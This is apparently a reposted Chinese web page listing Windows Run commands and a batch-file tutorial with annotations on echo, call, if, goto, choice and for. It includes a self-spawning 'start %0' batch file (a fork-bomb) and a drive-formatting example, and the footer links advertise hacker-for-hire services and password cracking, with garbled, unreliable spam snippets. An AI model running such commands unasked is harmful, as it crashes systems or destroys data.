lusrmgr.msc----本机用户和组 services.msc---本地服务设置

oobe/msoobe /a----检查XP是否激活 notepad--------打开记事本

cleanmgr-------垃圾整理 net start messenger----开始信使服务

compmgmt.msc---计算机管理 net stop messenger-----停止信使服务

conf-----------启动 netmeeting dvdplay--------DVD播放器

charmap--------启动字符映射表 diskmgmt.msc---磁盘管理实用程序

calc-----------启动计算器 dfrg.msc-------磁盘碎片整理程序

chkdsk.exe-----Chkdsk磁盘检查 devmgmt.msc--- 设备管理器

regsvr32 /u *.dll----停止dll文件运行 drwtsn32------ 系统医生

rononce -p ----15秒关机 dxdiag---------检查DirectX信息

regedt32-------注册表编辑器 Msconfig.exe---系统配置实用程序

rsop.msc-------组策略结果集 mem.exe--------显示内存使用情况

regedit.exe----注册表 winchat--------XP自带局域网聊天(win7除外)

progman--------程序管理器 winmsd---------系统信息

perfmon.msc----计算机性能监测程序 winver---------检查Windows版本

sfc /scannow-----扫描错误并复原 taskmgr-----任务管理器(2000/xp/2003)

以上就是基本的,不是编程的指令,就是运行CMD以后直接输入前面的英文就行了,有一些win7没有

还有如果你是用记事本编辑的话,那我用“winchat--------XP自带局域网聊天”示范一下:

直接在记事本里输入:winchat

然后保存的时候保存为*.bat(bat后缀,TXT后缀的话就没有用)

附带最基本的(直接在记事本里输入,然后保存为*.bat,运行后会不断打开他自己)

echo off

start %0

bat文件命令大全

.bat是dos下的批处理文件

.cmd是nt内核命令行环境的另一种批处理文件

批处理命令

批处理文件或批处理程序是一个包含若干MS-DOS命令的正文文件,扩展名为.BAT。当在命令提示符下敲入批处理程序的名称

时,MS-DOS成组执行此批处理程序中的命令。

任何在命令提示符下可使用的命令都可用在批处理程序中。此外,下面MS-DOS命令是专门在批处理程序中使用的。

==========

常用命令

echo、@、call、pause、rem(小技巧:用::代替rem)是批处理文件最常用的几个命令,我们就从他们开始学起。

==== willsort 编注 ===========

首先, @ 不是一个命令, 而是DOS 批处理的一个特殊标记符, 仅用于屏蔽命令行回显. 下面是DOS命令行或批处理中可能会见到

的一些特殊标记符:

CR(0D) 命令行结束符

Escape(1B) ANSI转义字符引导符

Space(20) 常用的参数界定符

Tab(09) ; = 不常用的参数界定符

+ COPY命令文件连接符

* ? 文件通配符

"" 字符串界定符

| 命令管道符

文件重定向符

@ 命令行回显屏蔽符

/ 参数开关引导符

: 批处理标签引导符

% 批处理变量引导符

其次, :: 确实可以起到rem 的注释作用, 而且更简洁有效; 但有两点需要注意:

第一, 除了 :: 之外, 任何以 :开头的字符行, 在批处理中都被视作标号, 而直接忽略其后的所有内容, 只是为了与正常的标号相区

别, 建议使用 goto 所无法识别的标号, 即在 :后紧跟一个非字母数字的一个特殊符号.

第二, 与rem 不同的是, ::后的字符行在执行时不会回显, 无论是否用echo on打开命令行回显状态, 因为命令解释器不认为他是一

个有效的命令行, 就此点来看, rem 在某些场合下将比 :: 更为适用; 另外, rem 可以用于 config.sys 文件中.

=====================

echo 表示显示此命令后的字符

echo off 表示在此语句后所有运行的命令都不显示命令行本身

@与echo off相象,但它是加在每个命令行的最前面,表示运行时不显示这一行的命令行(只能影响当前行)。

call 调用另一个批处理文件(如果不用call而直接调用别的批处理文件,那么执行完那个批处理文件后将无法返回当前文件并执

行当前文件的后续命令)。

pause 运行此句会暂停批处理的执行并在屏幕上显示Press any key to continue...的提示,等待用户按任意键后继续

rem 表示此命令后的字符为解释行(注释),不执行,只是给自己今后参考用的(相当于程序中的注释)。

==== willsort 编注 =====

此处的描述较为混乱, 不如直接引用个命令的命令行帮助更为条理

-------------------------

ECHO

当程序运行时,显示或隐藏批处理程序中的正文。也可用于允许或禁止命令的回显。

在运行批处理程序时,MS-DOS一般在屏幕上显示(回显)批处理程序中的命令。

使用ECHO命令可关闭此功能。

语法

ECHO [ON|OFF]

若要用echo命令显示一条命令,可用下述语法:

echo [message]

参数

ON|OFF

指定是否允许命令的回显。若要显示当前的ECHO的设置,可使用不带参数的ECHO

命令。

message

指定让MS-DOS在屏幕上显示的正文。

-------------------

CALL

从一个批处理程序中调用另一个批处理程序,而不会引起第一个批处理的中止。

语法

CALL [drive:][path]filename [batch-parameters]

参数

[drive:][path]filename

指定要调用的批处理程序的名字及其存放处。文件名必须用.BAT作扩展名。

batch-parameters

指定批处理程序所需的命令行信息。

-------------------------------

PAUSE

暂停批处理程序的执行并显示一条消息,提示用户按任意键继续执行。只能在批处

理程序中使用该命令。

语法

PAUSE

REM

在批处理文件或CONFIG.SYS中加入注解。也可用REM命令来屏蔽命令(在CONFIG.SYS

中也可以用分号(;)代替REM命令,但在批处理文件中则不能替代)。

语法

REM [string]

参数

string

指定要屏蔽的命令或要包含的注解。

=======================

例1:用edit编辑a.bat文件,输入下列内容后存盘为c:\a.bat,执行该批处理文件后可实现:将根目录中所有文件写入 a.txt中,

启动UCDOS,进入WPS等功能。

批处理文件的内容为: 命令注释:

@echo off 不显示后续命令行及当前命令行

dir c:\*.* a.txt 将c盘文件列表写入a.txt

call c:\ucdos\ucdos.bat 调用ucdos

echo 你好 显示"你好"

pause 暂停,等待按键继续

rem 准备运行wps 注释:准备运行wps

cd ucdos 进入ucdos目录

wps 运行wps

批处理文件的参数

批处理文件还可以像C语言的函数一样使用参数(相当于DOS命令的命令行参数),这需要用到一个参数表示符"%"。

%[1-9]表示参数,参数是指在运行批处理文件时在文件名后加的以空格(或者Tab)分隔的字符串。变量可以从%0到%9,%0表

示批处理命令本身,其它参数字符串用%1到%9顺序表示。

例2:C:根目录下有一批处理文件名为f.bat,内容为:

@echo off

format %1

如果执行C:\f a:

那么在执行f.bat时,%1就表示a:,这样format %1就相当于format a:,于是上面的命令运行时实际执行的是format a:

例3:C:根目录下一批处理文件名为t.bat,内容为:

@echo off

type %1

type %2

那么运行C:\t a.txt b.txt

%1 : 表示a.txt

%2 : 表示b.txt

于是上面的命令将顺序地显示a.txt和b.txt文件的内容。

==== willsort 编注 ===============

参数在批处理中也作为变量处理, 所以同样使用百分号作为引导符, 其后跟0-9中的一个数字构成参数引用符. 引用符和参数之间

(例如上文中的 %1 与 a: ) 的关系类似于变量指针与变量值的关系. 当我们要引用第十一个或更多个参数时, 就必须移动DOS 的参

数起始指针. shift 命令正充当了这个移动指针的角色, 它将参数的起始指针移动到下一个参数, 类似C 语言中的指针操作. 图示如

下:

初始状态, cmd 为命令名, 可以用 %0 引用

cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10

^ ^ ^ ^ ^ ^ ^ ^ ^ ^

| | | | | | | | | |

%0 %1 %2 %3 %4 %5 %6 %7 %8 %9

经过1次shift后, cmd 将无法被引用

cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10

^ ^ ^ ^ ^ ^ ^ ^ ^ ^

| | | | | | | | | |

%0 %1 %2 %3 %4 %5 %6 %7 %8 %9

经过2次shift后, arg1也被废弃, %9指向为空, 没有引用意义

cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10

^ ^ ^ ^ ^ ^ ^ ^ ^

| | | | | | | | |

%0 %1 %2 %3 %4 %5 %6 %7 %8

遗憾的是, win9x 和DOS下均不支持 shift 的逆操作. 只有在 nt 内核命令行环境下, shift 才支持 /n 参数, 可以以第一参数为基准返

复移动起始指针.

====================

特殊命令

if goto choice for是批处理文件中比较高级的命令,如果这几个你用得很熟练,你就是批处理文件的专家啦。

一、if 是条件语句,用来判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:

1、if [not] "参数" == "字符串" 待执行的命令

参数如果等于(not表示不等,下同)指定的字符串,则条件成立,运行命令,否则运行下一句。

例:if "%1"=="a" format a:

==== willsort 编注

if 的命令行帮助中关于此点的描述为:

IF [NOT] string1==string2 command

在此有以下几点需要注意:

1. 包含字符串的双引号不是语法所必须的, 而只是习惯上使用的一种"防空"字符

2. string1 未必是参数, 它也可以是环境变量, 循环变量以及其他字符串常量或变量

3. command 不是语法所必须的, string2 后跟一个空格就可以构成一个有效的命令行

=============================

2、if [not] exist [路径\]文件名 待执行的命令

如果有指定的文件,则条件成立,运行命令,否则运行下一句。

如: if exist c:\config.sys type c:\config.sys

表示如果存在c:\config.sys文件,则显示它的内容。

****** willsort 编注 ********

也可以使用以下的用法:

if exist command

device 是指DOS系统中已加载的设备, 在win98下通常有:

AUX, PRN, CON, NUL

COM1, COM2, COM3, COM4

LPT1, LPT2, LPT3, LPT4

XMSXXXX0, EMMXXXX0

A: B: C: ...,

CLOCK$, CONFIG$, DblBuff$, IFS$HLP$

具体的内容会因硬软件环境的不同而略有差异, 使用这些设备名称时, 需要保证以下三点:

1. 该设备确实存在(由软件虚拟的设备除外)

2. 该设备驱动程序已加载(aux, prn等标准设备由系统缺省定义)

3. 该设备已准备好(主要是指a: b: ..., com1..., lpt1...等)

可通过命令 mem/d | find "device" /i 来检阅你的系统中所加载的设备

另外, 在DOS系统中, 设备也被认为是一种特殊的文件, 而文件也可以称作字符设备; 因为设备(device)与文件都是使用句柄

(handle)来管理的, 句柄就是名字, 类似于文件名, 只不过句柄不是应用于磁盘管理, 而是应用于内存管理而已, 所谓设备加载也即

指在内存中为其分配可引用的句柄.

==================================

3、if errorlevel 数字 待执行的命令

很多DOS程序在运行结束后会返回一个数字值用来表示程序运行的结果(或者状态),通过if errorlevel命令可以判断程序的返回值

,根据不同的返回值来决定执行不同的命令(返回值必须按照从大到小的顺序排列)。如果返回值等于指定的数字,则条件成立

,运行命令,否则运行下一句。

如if errorlevel 2 goto x2

==== willsort 编注 ===========

返回值从大到小的顺序排列不是必须的, 而只是执行命令为 goto 时的习惯用法, 当使用 set 作为执行命令时, 通常会从小到大顺

序排列, 比如需将返回码置入环境变量, 就需使用以下的顺序形式:

if errorlevel 1 set el=1

if errorlevel 2 set el=2

if errorlevel 3 set el=3

if errorlevel 4 set el=4

if errorlevel 5 set el=5

...

当然, 也可以使用以下循环来替代, 原理是一致的:

for %%e in (1 2 3 4 5 6 7 8...) do if errorlevel %%e set el=%%e

更高效简洁的用法, 可以参考我写的另一篇关于获取 errorlevel 的文章

出现此种现象的原因是, if errorlevel 比较返回码的判断条件并非等于, 而是大于等于. 由于 goto 的跳转特性, 由小到大排序会导致

在较小的返回码处就跳出; 而由于 set命令的 "重复" 赋值特性, 由大到小排序会导致较小的返回码 "覆盖" 较大的返回码.

另外, 虽然 if errorlevel=数字 command 也是有效的命令行, 但也只是 command.com 解释命令行时将 = 作为命令行切分符而忽略

掉罢了

===========================

二、goto 批处理文件运行到这里将跳到goto所指定的标号(标号即label,标号用:后跟标准字符串来定义)处,goto语句一般与if配

合使用,根据不同的条件来执行不同的命令组。

如:

goto end

:end

echo this is the end

标号用":字符串"来定义,标号所在行不被执行。

==== willsort 编注

label 常被译为 "标签" , 但是这并不具有广泛的约定性.

goto 与 : 联用可实现执行中途的跳转, 再结合 if 可实现执行过程的条件分支, 多个 if 即可实现命令的分组, 类似 C 中 switch case

结构或者 Basic 中的 select case 结构, 大规模且结构化的命令分组即可实现高级语言中的函数功能. 以下是批处理和C/Basic在语

法结构上的对照:

Batch C / Basic

goto: goto:

goto:if if{}else{} / ifelseifendif

goto:if... switchcase / select case

goto:ifsetenvar... function() / function(),sub()

==================================

三、choice 使用此命令可以让用户输入一个字符(用于选择),从而根据用户的选择返回不同的errorlevel,然后于if errorlevel配

合,根据用户的选择运行不同的命令。

注意:choice命令为DOS或者Windows系统提供的外部命令,不同版本的choice命令语法会稍有不同,请用choice /?查看用法。

choice的命令语法(该语法为Windows 2003中choice命令的语法,其它版本的choice的命令语法与此大同小异):

CHOICE [/C choices] [/N] [/CS] [/T timeout /D choice] [/M text]

描述:

该工具允许用户从选择列表选择一个项目并返回所选项目的索引。

参数列表:

/C choices 指定要创建的选项列表。默认列表是 "YN"。

/N 在提示符中隐藏选项列表。提示前面的消息得到显示,

选项依旧处于启用状态。

/CS 允许选择分大小写的选项。在默认情况下,这个工具

是不分大小写的。

/T timeout 做出默认选择之前,暂停的秒数。可接受的值是从 0

到 9999。如果指定了 0,就不会有暂停,默认选项

会得到选择。

/D choice 在 nnnn 秒之后指定默认选项。字符必须在用 /C 选

项指定的一组选择中; 同时,必须用 /T 指定 nnnn。

/M text 指定提示之前要显示的消息。如果没有指定,工具只

显示提示。

/? 显示帮助消息。

注意:

ERRORLEVEL 环境变量被设置为从选择集选择的键索引。列出的第一个选

择返回 1,第二个选择返回 2,等等。如果用户按的键不是有效的选择,

该工具会发出警告响声。如果该工具检测到错误状态,它会返回 255 的

ERRORLEVEL 值。如果用户按 Ctrl+Break 或 Ctrl+C 键,该工具会返回 0

的 ERRORLEVEL 值。在一个批程序中使用 ERRORLEVEL 参数时,将参数降

序排列。

示例:

CHOICE /?

CHOICE /C YNC /M "确认请按 Y,否请按 N,或者取消请按 C。"

CHOICE /T 10 /C ync /CS /D y

CHOICE /C ab /M "选项 1 请选择 a,选项 2 请选择 b。"

CHOICE /C ab /N /M "选项 1 请选择 a,选项 2 请选择 b。"

==== willsort 编注 ===============================

我列出win98下choice的用法帮助, 已资区分

Waits for the user to choose one of a set of choices.

等待用户选择一组待选字符中的一个

CHOICE [/C[:]choices] [/N] [/S] [/T[:]c,nn] [text]

/C[:]choices Specifies allowable keys. Default is YN

指定允许的按键(待选字符), 默认为YN

/N Do not display choices and ? at end of prompt string.

不显示提示字符串中的问号和待选字符

/S Treat choice keys as case sensitive.

处理待选字符时大小写敏感

/T[:]c,nn Default choice to c after nn seconds

在 nn 秒后默认选择 c

text Prompt string to display

要显示的提示字符串

ERRORLEVEL is set to offset of key user presses in choices.

ERRORLEVEL 被设置为用户键入的字符在待选字符中的偏移值

====================================

如果我运行命令:CHOICE /C YNC /M "确认请按 Y,否请按 N,或者取消请按 C。"

屏幕上会显示:

确认请按 Y,否请按 N,或者取消请按 C。 [Y,N,C]?

例:test.bat的内容如下(注意,用if errorlevel判断返回值时,要按返回值从高到低排列):

@echo off

choice /C dme /M "defrag,mem,end"

if errorlevel 3 goto end

if errorlevel 2 goto mem

if errorlevel 1 goto defrag

:defrag

c:\dos\defrag

goto end

:mem

mem

goto end

:end

echo good bye

此批处理运行后,将显示"defrag,mem,end[D,M,E]?" ,用户可选择d m e ,然后if语句根据用户的选择作出判断,d表示执行标号

为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到

end标号处,然后程序将显示good bye,批处理运行结束。

四、for 循环命令,只要条件符合,它将多次执行同一命令。

语法:

对一组文件中的每一个文件执行某个特定命令。

FOR %%variable IN (set) DO command [command-parameters]

%%variable 指定一个单一字母可替换的参数。

(set) 指定一个或一组文件。可以使用通配符。

command 指定对每个文件执行的命令。

command-parameters

为特定命令指定参数或命令行开关。

例如一个批处理文件中有一行:

for %%c in (*.bat *.txt) do type %%c

则该命令行会显示当前目录下所有以bat和txt为扩展名的文件的内容。

求bat命令大全(要注释)

请在cmd窗口里面输入help后回车,你就会看见很多命令,然后每个命令加上/?后回车即可看见它详细的用法。

扫描二维码推送至手机访问。

版权声明:本文由黑客业务发布,如需转载请注明出处。

本文链接:http://www.e-zmc.com/155993.html

分享给朋友:

“黑客bat命令大全(bat 命令大全)” 的相关文章

速卖通328直播招商规则是什么?详细规则介绍

 八 曲播货物 招商!免坑位费享年夜 促流质克日 起至 二0 二 二年 三月 九日  二 三: 五 九: 五 九,胜利 进选商野会于一周内钉钉接洽 。运动 坑位有限,且曲播间得手 价没有计进汗青 最高价,迎接 商野同伙 们积极报名!【运动 范围 】葡语曲播的流质预计双场曲播不雅 看 五w~ 二0w,...

黑客李冬顺,黑客微信代站,黑客qq密码一键破解手机版

Creation Date:  二0 一 九-0 五- 一 六T0 七: 一 二: 三0Z 二正在裂缝 的触领过程 ,flash外Metadata的真例化目的 天址,以下图所示。邪如下面的望频说的这样,其真所谓的ldquo;智能机械 人rdquo;就是 ldquo;复读机rdquo;,他们会按照 l...

网络黑客接单一般是多少钱(有信誉的黑客)

后台真体类代码以下: 一 二 三 四 五 六 七 八 九 一0 一 一 一 二 一 三 一 四 一 五 一 六 一 七 一 八 一 九 二0 二 一 二 二 二 三 二 四 二 五 二 六 二 七 二 八 二 九 三0 三 一 三 二 三 三 三 四 三 五/*** @author 直健磊* @da...

医院推广方案【新媒体营销的玩法】

当前地位 :SEO尾页>营销常识 >病院 拉广圆案(新媒体营销的弄法 )病院 拉广圆案(新媒体营销的弄法 )收集  二0 二0- 一0- 一 九  二0: 二 九: 五 五 一 五 三远一年,新媒体自媒体入进医疗营销者的存眷 规模 ,年夜 野也念把事情 的重心搁正在新媒体营销上,正在那...

房地产事件营销【地产事件营销】

收集  二0 二0- 一0- 二 七 0 二:0 九: 五 一 五 二年夜 野皆 晓得,事宜 营销正在各年夜 品牌脚上皆玩患上特殊  六。尤为是互联网私司,正在事宜 营销上的弄法 否谓是层见叠出让人目眩 纷乱 。而房天产那个止业便十分特殊,岂论 是由于 止业配景 ,照样 业内的规矩 限定 ,房天产的...

专业黑客高手如何入侵网站,网站黑客如何做到的

跟着 互联网正在外国快要  二0年的成长 ,内容范畴 也从本去傻年夜 乌精的拼流质,入进了垂曲范畴 的粗根细做时期 。尔信任 许多 作过互联网经营的小同伴 ,必然 打仗 过内容经营,或者者博职作内容经营。然则 ,许多 自以为作了良久 内容经营的小同伴 ,其真仅仅一个“文字编纂 ”罢了 ,为何必修  ...

评论列表

假欢怀桔
2年前 (2022-05-30)

对每个文件执行的命令。command-parameters为特定命令指定参数或命令行开关。例如一个批处理文件中有一行:for %%c in (*.bat *.txt) do type %%c则该命令行会显示当前目录下所有以bat和txt为扩展名的文件

余安雾夕
2年前 (2022-05-30)

(2000/xp/2003) command--------cmd fsmgmt.msc 共享文件夹 netstat -an----查看端口 osk 屏幕键盘 install.asp

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。